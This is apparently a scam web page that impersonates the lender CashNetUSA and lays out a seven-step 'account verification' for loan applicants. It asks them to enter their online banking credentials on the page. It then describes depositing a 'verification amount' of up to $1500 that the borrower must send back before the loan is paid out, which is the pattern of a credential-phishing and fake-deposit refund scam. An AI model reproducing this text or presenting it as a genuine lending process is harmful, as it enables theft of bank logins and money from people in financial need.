Account Verification

Flexible. Reliable. Secure

!! IMPORTANT !!

Cashnetusa places a high importance on verifying account information as a mandatory step in the loan application process.
P2S technology is used to access bank statements from the last 3-6 months to assess borrower credibility.
Before approving a loan, Cashnetusa verifies the accuracy of provided bank account information.
Transactions from the last 3-6 months are also reviewed to ensure the borrower has a stable income to afford loan repayments.
Check Direct Deposit setup or active Payment Protection Insurance is verified.
A small verification amount, ranging from $15.00 to $1500, is credited to the borrow's account to confirm the bank account will accept payments from a private lender.
If all information is confirmed, loan funds will be disbursed within 2 hours.
Cashnetusa appreciates the borrower's cooperation in the verification process.

Step: 1

Secure Login

Our secure login process is designed to make accessing your account a seamless and worry-free experience. You can trust that your sensitive data is safeguarded with us

Step: 2

Analyse Account Statement

After securely logging into your bank account, our system will analyze your income statement using advanced algorithms

Step: 3

Deposit Verification Amount

Upon successful account analysis, the verification amount will be credited to you through different methods: check deposit, ACH transfer, wire transfer Etc.

Step: 4

Processing Time

The processing time generally depends on the specific bank and can vary from near-instant availability to taking up to 24 hours.

Step: 5

Funds Availability

Funds availability primarily depends on the specific account, and if you observe the funds available, you are eligible to receive the loan. Our funds availability rate is at 98%.

Step: 6

Return Verification Amount

Once the verification amount is accessible in your account, kindly return the payment to us to successfully complete the account verification process.

Step: 7

Sanction Loan Amount in 2 hours.

The loan amount will be transferred to your verified account within a span of 2 hours. Enjoy!

Account Verification

Please note that both credential are case sensitive, so make sure to enter them correctly. Once you have entered your login credentials, click the “Authorised Account” button to proceed.